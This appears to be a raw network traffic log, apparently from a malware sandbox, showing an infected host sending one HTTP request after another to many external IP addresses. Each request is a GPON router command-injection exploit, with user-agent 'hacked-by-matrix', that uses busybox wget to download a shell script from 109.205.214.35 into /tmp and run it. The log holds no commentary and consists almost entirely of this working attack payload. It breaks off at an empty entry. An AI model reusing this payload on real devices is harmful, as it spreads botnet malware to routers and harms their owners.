Mar 21, 2024 05:18:33.908502102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.13	50184	94.38.253.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908505917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.13	51268	178.150.137.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908579111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.13	38484	118.37.188.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908607960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.13	37228	210.247.197.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908634901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.13	60528	212.11.107.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908698082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.13	46020	109.137.197.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908721924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.13	50396	118.69.24.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908727884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.13	51102	118.182.162.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908790112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.13	33942	212.141.117.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908830881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.13	54736	5.45.35.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908905029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.13	39166	178.95.255.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908930063 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.13	49478	2.244.234.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908966064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.13	50056	79.166.36.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.908988953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.13	60858	2.140.175.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.909035921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.13	57968	42.165.77.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.909090042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.13	40880	94.254.232.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913026094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.13	54326	5.187.118.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913033009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.13	52748	178.56.161.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913084030 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.13	45588	94.38.156.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913146973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.13	59022	118.112.55.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913177013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.13	34364	42.193.28.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913180113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.13	41042	5.203.116.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913316965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.13	59198	94.253.48.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.913325071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.13	38244	79.140.45.80	443

Timestamp	Bytes transferred	Direction	Data
